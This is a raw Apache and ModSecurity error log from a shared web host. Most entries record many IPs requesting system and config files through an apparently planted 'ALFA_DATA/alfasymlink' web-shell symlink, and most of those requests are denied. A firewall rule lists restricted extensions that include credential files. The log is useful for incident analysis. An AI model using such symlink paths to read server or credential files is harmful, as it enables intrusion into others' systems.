[Sun Oct 25 16:47:56.592050 2026] [security2:error] [pid 2899540:tid 2899540] [client 187.14.225.143:7846] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-ldap.conf"] [unique_id "at5q_FjfLy5i88_O5E6s2gAAAAU"]
[Sun Oct 25 16:47:58.140522 2026] [security2:error] [pid 2899633:tid 2899633] [client 173.34.176.93:41535] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-ldap.conf"] [unique_id "at5q_namrJqIGhYaPz3p6gAAAE4"]
[Sun Oct 25 16:47:58.141066 2026] [security2:error] [pid 2899633:tid 2899633] [client 173.34.176.93:41535] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-ldap.conf"] [unique_id "at5q_namrJqIGhYaPz3p6gAAAE4"]
[Sun Oct 25 16:47:58.141410 2026] [security2:error] [pid 2899633:tid 2899633] [client 173.34.176.93:41535] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pure-ftpd/pureftpd-ldap.conf"] [unique_id "at5q_namrJqIGhYaPz3p6gAAAE4"]
[Sun Oct 25 16:47:58.685875 2026] [ssl:error] [pid 2897986:tid 2897986] (70014)End of file found: [client 3.225.45.252:20618] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:48:02.769772 2026] [ssl:error] [pid 2897990:tid 2897990] (70014)End of file found: [client 44.195.145.102:41814] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:48:06.611167 2026] [ssl:error] [pid 2899538:tid 2899538] (70014)End of file found: [client 54.152.163.42:41010] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:48:13.244950 2026] [ssl:error] [pid 2897962:tid 2897962] (70014)End of file found: [client 34.192.67.98:2160] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:48:14.680501 2026] [core:error] [pid 2897986:tid 2897986] (13)Permission denied: [client 100.29.164.178:8643] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/0000:00:01.1/resource2
[Sun Oct 25 16:48:17.952117 2026] [core:error] [pid 2899538:tid 2899538] (13)Permission denied: [client 185.191.171.1:16982] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-8/slabs_cpu_partial
[Sun Oct 25 16:48:18.657573 2026] [ssl:error] [pid 2897962:tid 2897962] (70014)End of file found: [client 100.29.128.75:11241] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:48:23.351183 2026] [ssl:error] [pid 2897986:tid 2897986] (70014)End of file found: [client 52.204.174.139:64057] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:48:26.745409 2026] [ssl:error] [pid 2897990:tid 2897990] (5)Input/output error: [client 34.192.125.239:7432] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:48:34.758715 2026] [core:error] [pid 2899538:tid 2899538] (13)Permission denied: [client 176.29.164.112:22498] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/objs_per_slab
[Sun Oct 25 16:48:37.146226 2026] [core:error] [pid 2899540:tid 2899540] (13)Permission denied: [client 134.22.58.51:34151] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/objs_per_slab
[Sun Oct 25 16:48:38.623447 2026] [ssl:error] [pid 2897986:tid 2897986] (70014)End of file found: [client 54.152.163.42:6051] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:48:39.349498 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 45.152.12.147:7873] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/objs_per_slab
[Sun Oct 25 16:48:42.672719 2026] [ssl:error] [pid 2899539:tid 2899539] (70014)End of file found: [client 3.213.106.226:38550] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:48:47.765069 2026] [security2:error] [pid 2899540:tid 2899540] [client 150.109.10.41:44118] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/bases4/"] [unique_id "at5rL1jfLy5i88_O5E6s3gAAAAU"]
[Sun Oct 25 16:48:52.698266 2026] [core:error] [pid 2897990:tid 2897990] (13)Permission denied: [client 99.145.100.44:55915] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/objects_partial
[Sun Oct 25 16:48:54.903489 2026] [core:error] [pid 2898005:tid 2898005] (13)Permission denied: [client 78.30.109.56:5945] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/objects_partial
[Sun Oct 25 16:48:57.248595 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 95.10.26.63:9540] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/objects_partial
[Sun Oct 25 16:48:58.726604 2026] [ssl:error] [pid 2897962:tid 2897962] (70014)End of file found: [client 18.209.201.119:5649] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:49:02.609091 2026] [ssl:error] [pid 2899543:tid 2899543] (70014)End of file found: [client 3.225.45.252:52361] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:49:06.778451 2026] [ssl:error] [pid 2897967:tid 2897967] (70014)End of file found: [client 23.20.178.124:22344] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:49:18.643057 2026] [ssl:error] [pid 2897476:tid 2897476] (70014)End of file found: [client 52.203.237.170:49309] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:49:25.674631 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 85.208.96.206:61736] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6-frags/objects_partial
[Sun Oct 25 16:49:26.715591 2026] [ssl:error] [pid 2891189:tid 2891189] (70014)End of file found: [client 44.207.252.58:20634] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:49:34.695364 2026] [core:error] [pid 2899800:tid 2899800] (13)Permission denied: [client 3.222.85.38:2891] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty5/subsystem/ttyS0/flags
[Sun Oct 25 16:49:38.522049 2026] [core:error] [pid 2891189:tid 2891189] (13)Permission denied: [client 185.191.171.12:45632] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iint_cache/objs_per_slab
[Sun Oct 25 16:49:42.694818 2026] [security2:error] [pid 2899814:tid 2899814] [client 54.87.62.248:65455] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory19/node0/memory10/power/"] [unique_id "at5rZtWbl1dH04nH-PjBHAAAAAY"]
[Sun Oct 25 16:49:42.694859 2026] [security2:error] [pid 2899814:tid 2899814] [client 54.87.62.248:65455] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory19/node0/memory10/power/"] [unique_id "at5rZtWbl1dH04nH-PjBHAAAAAY"]
[Sun Oct 25 16:49:46.643537 2026] [ssl:error] [pid 2899790:tid 2899790] (70014)End of file found: [client 54.147.238.89:13015] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:49:50.910681 2026] [ssl:error] [pid 2885109:tid 2885109] (70014)End of file found: [client 3.212.219.113:13801] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:50:02.859799 2026] [ssl:error] [pid 2899790:tid 2899790] (70014)End of file found: [client 3.81.253.213:6826] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:50:10.822266 2026] [ssl:error] [pid 2891189:tid 2891189] (70014)End of file found: [client 52.71.218.25:4928] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:50:11.202331 2026] [core:error] [pid 2897990:tid 2897990] (13)Permission denied: [client 68.98.85.234:55315] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/usersize
[Sun Oct 25 16:50:14.651894 2026] [core:error] [pid 2897476:tid 2897476] (13)Permission denied: [client 34.199.252.22:6055] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:03/physical_node/driver/unbind
[Sun Oct 25 16:50:18.653609 2026] [ssl:error] [pid 2891189:tid 2891189] (70014)End of file found: [client 100.24.149.244:51254] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:50:21.067674 2026] [core:error] [pid 2899631:tid 2899631] (13)Permission denied: [client 73.6.57.249:33359] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/usersize
[Sun Oct 25 16:50:23.393614 2026] [ssl:error] [pid 2897962:tid 2897962] (70014)End of file found: [client 34.233.219.155:55033] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:50:25.897209 2026] [core:error] [pid 2897476:tid 2897476] (13)Permission denied: [client 41.82.154.94:35944] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/objects
[Sun Oct 25 16:50:29.009767 2026] [core:error] [pid 2898005:tid 2898005] (13)Permission denied: [client 109.107.230.75:55834] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/objects
[Sun Oct 25 16:50:36.171055 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 23.116.27.120:40838] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/objects
[Sun Oct 25 16:50:37.951257 2026] [core:error] [pid 2893298:tid 2893298] (13)Permission denied: [client 187.14.93.151:5206] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/total_objects
[Sun Oct 25 16:50:39.232160 2026] [core:error] [pid 2891189:tid 2891189] (13)Permission denied: [client 72.95.142.108:59445] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/total_objects
[Sun Oct 25 16:50:46.771533 2026] [ssl:error] [pid 2897476:tid 2897476] (70014)End of file found: [client 52.204.253.129:60638] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:50:52.487052 2026] [core:error] [pid 2897990:tid 2897990] (13)Permission denied: [client 71.236.73.59:55105] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/trace
[Sun Oct 25 16:50:54.035342 2026] [core:error] [pid 2893298:tid 2893298] (13)Permission denied: [client 172.59.241.9:38367] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/trace
[Sun Oct 25 16:50:55.480447 2026] [core:error] [pid 2898005:tid 2898005] (13)Permission denied: [client 176.249.169.241:1060] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/ctor
[Sun Oct 25 16:50:58.787828 2026] [core:error] [pid 2897990:tid 2897990] (13)Permission denied: [client 204.244.161.44:40848] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/trace
[Sun Oct 25 16:50:58.808082 2026] [ssl:error] [pid 2899631:tid 2899631] (70014)End of file found: [client 52.4.213.199:45009] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:50:59.235062 2026] [core:error] [pid 2893298:tid 2893298] (13)Permission denied: [client 71.126.83.91:37571] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/ctor
[Sun Oct 25 16:51:00.889687 2026] [core:error] [pid 2898005:tid 2898005] (13)Permission denied: [client 103.129.134.207:37727] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/ctor
[Sun Oct 25 16:51:07.244457 2026] [core:error] [pid 2897476:tid 2897476] (13)Permission denied: [client 98.84.131.195:1032] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory20/node0/memory16/subsystem/devices/memory15/node0/cpu0/firmware_node/physical_node/crash_notes
[Sun Oct 25 16:51:10.693778 2026] [ssl:error] [pid 2893298:tid 2893298] (70014)End of file found: [client 52.200.58.199:52248] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:51:16.173032 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 81.151.196.206:51629] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/validate
[Sun Oct 25 16:51:18.363146 2026] [core:error] [pid 2899800:tid 2899800] (13)Permission denied: [client 45.181.86.107:55538] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/validate
[Sun Oct 25 16:51:19.647618 2026] [core:error] [pid 2893298:tid 2893298] (13)Permission denied: [client 173.255.162.13:39870] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/validate
[Sun Oct 25 16:51:29.339092 2026] [core:error] [pid 2897476:tid 2897476] (13)Permission denied: [client 185.191.171.9:18880] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-192/hwcache_align
[Sun Oct 25 16:51:37.499508 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 85.208.96.199:29672] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dquot/free_calls
[Sun Oct 25 16:51:39.631707 2026] [core:error] [pid 2897476:tid 2897476] (13)Permission denied: [client 85.208.96.196:33630] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/free_calls
[Sun Oct 25 16:51:40.491457 2026] [core:error] [pid 2885109:tid 2885109] (13)Permission denied: [client 190.115.65.54:38912] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/aliases
[Sun Oct 25 16:51:46.159050 2026] [core:error] [pid 2893744:tid 2893744] (13)Permission denied: [client 181.199.60.82:17194] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/aliases
[Sun Oct 25 16:51:46.768004 2026] [ssl:error] [pid 2897962:tid 2897962] (70014)End of file found: [client 23.21.179.120:34043] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:51:49.213456 2026] [core:error] [pid 2897476:tid 2897476] (13)Permission denied: [client 143.244.44.169:18405] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/aliases
[Sun Oct 25 16:51:49.552878 2026] [security2:error] [pid 2899543:tid 2899543] [client 107.172.76.131:64652] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5r2cY9yad2bfqj7tUG8AAAAAo"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 16:51:49.552918 2026] [security2:error] [pid 2899543:tid 2899543] [client 107.172.76.131:64652] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5r2cY9yad2bfqj7tUG8AAAAAo"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 16:51:58.986863 2026] [ssl:error] [pid 2897476:tid 2897476] (70014)End of file found: [client 3.212.86.97:5766] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:52:07.118109 2026] [ssl:error] [pid 2893744:tid 2893744] (70014)End of file found: [client 44.221.37.41:1986] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:52:10.429352 2026] [core:error] [pid 2889344:tid 2889344] (13)Permission denied: [client 85.208.96.200:27602] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-96/usersize
[Sun Oct 25 16:52:19.547730 2026] [ssl:error] [pid 2897962:tid 2897962] (70014)End of file found: [client 3.220.148.166:22122] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:52:20.203372 2026] [security2:error] [pid 2899542:tid 2899542] [client 107.172.76.131:64643] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5r9dKQ9ANbYqzP3RuhDgAAAAk"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 16:52:20.203438 2026] [security2:error] [pid 2899542:tid 2899542] [client 107.172.76.131:64643] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5r9dKQ9ANbYqzP3RuhDgAAAAk"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 16:52:22.922235 2026] [ssl:error] [pid 2885109:tid 2885109] (70014)End of file found: [client 100.29.164.178:43258] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:52:28.949640 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 69.113.194.84:57944] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/min_partial
[Sun Oct 25 16:52:30.962178 2026] [ssl:error] [pid 2889344:tid 2889344] (70014)End of file found: [client 3.229.95.193:24732] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:52:31.792106 2026] [core:error] [pid 2893744:tid 2893744] (13)Permission denied: [client 45.235.120.66:42650] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/min_partial
[Sun Oct 25 16:52:31.792565 2026] [security2:error] [pid 2893744:tid 2893744] [client 45.235.120.66:42650] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/min_partial"] [unique_id "at5sD7wNC6PiuUzHLh6djwAAAAs"]
[Sun Oct 25 16:52:31.792615 2026] [security2:error] [pid 2893744:tid 2893744] [client 45.235.120.66:42650] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/min_partial"] [unique_id "at5sD7wNC6PiuUzHLh6djwAAAAs"]
[Sun Oct 25 16:52:34.862870 2026] [core:error] [pid 2899631:tid 2899631] (13)Permission denied: [client 52.202.233.37:42820] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:1c/subsystem/drivers/button/uevent
[Sun Oct 25 16:52:38.812128 2026] [ssl:error] [pid 2899571:tid 2899571] (70014)End of file found: [client 54.225.181.161:44832] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:52:39.580306 2026] [core:error] [pid 2899578:tid 2899578] (13)Permission denied: [client 85.208.96.204:57742] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ebitmap_node/red_zone
[Sun Oct 25 16:52:40.036633 2026] [core:error] [pid 2899573:tid 2899573] (13)Permission denied: [client 75.222.102.189:44151] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/validate
[Sun Oct 25 16:52:42.025866 2026] [core:error] [pid 2899577:tid 2899577] (13)Permission denied: [client 69.80.12.84:35213] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/validate
[Sun Oct 25 16:52:44.072070 2026] [core:error] [pid 2899590:tid 2899590] (13)Permission denied: [client 86.105.147.226:36872] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/shrink
[Sun Oct 25 16:52:44.214926 2026] [security2:error] [pid 2899543:tid 2899543] [client 107.172.76.131:64652] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5sD8Y9yad2bfqj7tUG9AAAAAo"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 16:52:44.215006 2026] [security2:error] [pid 2899543:tid 2899543] [client 107.172.76.131:64652] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5sD8Y9yad2bfqj7tUG9AAAAAo"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 16:52:44.316447 2026] [core:error] [pid 2899595:tid 2899595] (13)Permission denied: [client 188.132.150.249:50248] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/validate
[Sun Oct 25 16:52:46.390553 2026] [authz_core:error] [pid 2899592:tid 2899592] [client 157.230.4.97:60154] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 16:52:46.897834 2026] [ssl:error] [pid 2899598:tid 2899598] (70014)End of file found: [client 98.84.70.201:31079] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:52:47.775822 2026] [core:error] [pid 2899600:tid 2899600] (13)Permission denied: [client 45.178.1.246:49188] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/shrink
[Sun Oct 25 16:52:50.210097 2026] [core:error] [pid 2893298:tid 2893298] (13)Permission denied: [client 81.78.98.39:56183] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/shrink
[Sun Oct 25 16:52:50.797241 2026] [ssl:error] [pid 2899611:tid 2899611] (70014)End of file found: [client 3.220.70.171:34644] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:52:54.515577 2026] [core:error] [pid 2899617:tid 2899617] (13)Permission denied: [client 72.92.74.10:42783] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/reclaim_account
[Sun Oct 25 16:52:57.059102 2026] [core:error] [pid 2899616:tid 2899616] (13)Permission denied: [client 195.69.230.27:50880] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/reclaim_account
[Sun Oct 25 16:52:58.969091 2026] [ssl:error] [pid 2899624:tid 2899624] (70014)End of file found: [client 52.5.232.250:6380] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:52:59.080270 2026] [core:error] [pid 2899621:tid 2899621] (13)Permission denied: [client 68.7.176.117:42664] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/reclaim_account
[Sun Oct 25 16:53:10.744089 2026] [core:error] [pid 2899600:tid 2899600] (13)Permission denied: [client 35.169.119.108:38864] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/slots/20/module/uevent
[Sun Oct 25 16:53:11.066218 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 37.110.211.131:53190] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/remote_node_defrag_ratio
[Sun Oct 25 16:53:16.737071 2026] [core:error] [pid 2899616:tid 2899616] (13)Permission denied: [client 108.27.254.93:49233] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/remote_node_defrag_ratio
[Sun Oct 25 16:53:19.097250 2026] [core:error] [pid 2899814:tid 2899814] (13)Permission denied: [client 179.125.143.107:19917] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/remote_node_defrag_ratio
